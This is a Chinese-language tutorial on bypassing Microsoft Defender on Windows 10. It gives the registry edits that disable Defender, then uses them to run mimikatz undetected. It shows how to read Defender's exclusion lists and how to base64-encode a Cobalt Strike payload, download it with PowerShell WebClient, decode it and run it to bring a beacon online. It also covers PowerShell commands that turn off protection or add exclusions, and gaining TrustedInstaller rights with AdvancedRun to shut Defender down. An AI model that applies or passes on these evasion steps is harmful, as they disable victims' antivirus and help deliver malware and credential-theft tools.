一、介绍
Windows Defender ,现名 Microsoft Defender,是一个运行在Windows上的杀毒软件,可以运行在 Windows XP 和 Windows Server 2003 操作系统上,并已内置在 Windows Vista , Windows 7 , Windows 8 , Windows 8.1 , Windows 10 和 Windows 11 中,Windows Defender 不像其他同类免费产品一样只能扫描系统,它还可以对系统进行实时监控。从 Windows 10 开始, Windows Defender 加入了右键扫描和离线杀毒,根据最新的每日样本测试,查杀率已经有了大的提升,达到国际一流水准。环境:Winodws10专业版
二、Bypass
注册表:
微软为了提供用户更妥善的安全保护,在2020年8月更新中更新了支持文档。若用户安装了其他杀毒软件,Defender将自动关闭,那么这样的话,是不是可以伪造已安装其他杀毒软件的假象,从而绕过Defender呢,先来看一下没有安装过其他杀毒软件的Defender
再来看一下安装过其他杀毒软件的
Defender所在的注册表位为:
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager |
对两台Windows Defender运行时进行键值对比,发现键值DisableAntiSpyware和DisableAntiVirus,0代表启用Defender,1代表禁用Defender,使用管理权限的CMD对注册表进行修改:
1 | reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f |
随后重启电脑,查看Defender依然是开启状态,但是杀毒引擎已经失效,随便丢一个mimikatz上去,进行打开,成功绕过检测
排除项:
在微软官方对Windows Defender的介绍中,有一篇名为在Windows server中配置Defender排除项的文章,其中详细介绍了Defender排除项的用处以及功能,如自定义排除项、退出排除项、自动排除项等
1 | https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-server-exclusions-microsoft-defender-antivirus?view=o365-worldwide#list-of-automatic-exclusions |
简单点来说,就是Windows Server 2016和2019中,会自动默认存在一些排除项,在实时检测过程中会忽略这些排除项,以下列举一些常见的排除项文件夹以及进程文件
路径 | 用途 |
---|---|
%SystemRoot%\IIS Temporary Compressed Files | iis临时压缩文件夹 |
%SystemDrive%\inetpub\temp\ASP Compiled Templates | ASP编译模板文件夹 |
%SystemDrive%\inetpub\logs | 日志文件夹 |
%SystemDrive%\inetpub\wwwroot | 网站目录文佳佳 |
%systemroot%\System32\dfsr.exe | AD DS 相关支持 |
%systemroot%\System32\dns.exe | 文件复制服务 |
%SystemRoot%\system32\inetsrv\w3wp.exe | WEB服务 |
%SystemRoot%\SysWOW64\inetsrv\w3wp.exe | WEB服务 |
%SystemDrive%\PHP5433\php-cgi.exe | php-cgi 服务 |
使用以下命令也可以从注册表中获取到一些排除项,如下就获取到了某个执行文件
1 | 查看白名单后缀:reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" |
得到了上述的排除项后,使用Cobalt Strike生成木马,再使用Powershell进行编码:
1 | $PEBytes = [System.IO.File]::ReadAllBytes("hello.exe") |
使用Cobalt Strike将生成好的文件挂载到服务器上,方便接下来进行下载
然后打开DOS窗口,下载文件到本地
1 | powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://127.0.0.1/hello_base64.txt';$file = ' C:\Program Files (x86)\hello_base64.txt ';$clnt.DownloadFile($url,$file); |
对其进行解码
1 | $Base64Bytes = Get-Content ("hello_base64.txt") |
然后直接执行即可绕过Defender进行上线,当然也可以不进行编码,直接挂载木马到网站上进行下载上线
最后,这种绕过Defender的手段并不完整,官网文档中也指出了,Defender主动扫描的时候依旧会扫描排除项
Powershell:
Windows官方,明确指出了可以使用Powershell对Defender进行管理,如检查Microsoft Defender的状态
1 | powershell Get-MpComputerStatus |
那么照样也可以使用Powershell关闭Defender,使用管理员权限打开Powershell
1 | $preferences = Get-MpPreference |
使用此方法添加排除项也是没问题的,在Defender开启的时候执行:
1 | powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath "C:\test" |
TrustedInstaller:
在Windows XP及以前,System账户与管理员组对系统文件都有着完全访问的权限。 [3] 这意味着以管理员身份运行的程序可以任意更改系统,降低了系统安全性。TrustedInstaller则改变了这一情况,使得只有拥有TrustedInstaller令牌的系统进程才能更改系统重要内容,而其他大部分系统服务就没有权限。 [4] 这是因为,以SYSTEM权限运行的程序不一定同时拥有TrustedInstaller的权限,只有通过了Service Control Manager(服务启动控制器)的验证后才能获取。简单点来说,用户获取到TrustedInstaller权限后,也可以关闭Defender
工具介绍:AdvancedRun
AdvancedRun 是一款适用于 Windows 的简单工具,可让您以您选择的不同设置运行程序,包括 - 低优先级或高优先级、启动目录、主窗口状态(最小化/最大化)、以不同用户或权限运行程序、操作系统兼容性设置, 和环境变量。 您还可以将所需的设置保存到配置文件中,然后使用所需的设置从命令行自动运行程序。
1 | 下载地址:https://www.nirsoft.net/utils/advanced_run.html |
- 第一步使用正常权限的System权限关闭Defender
1 | reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f |
- AdvancedRun启动CMD,命令:
1 | AdvancedRun.exe /EXEFilename "c:\windows\system32\cmd.exe" /RunAs 8 /Run |
- 这时启动的CMD即为TrustedInstaller权限,可以使用whoami /priv做个对比
- 用TrustedInstaller权限的CMD关闭Defender
1 | 关闭Defender:reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f |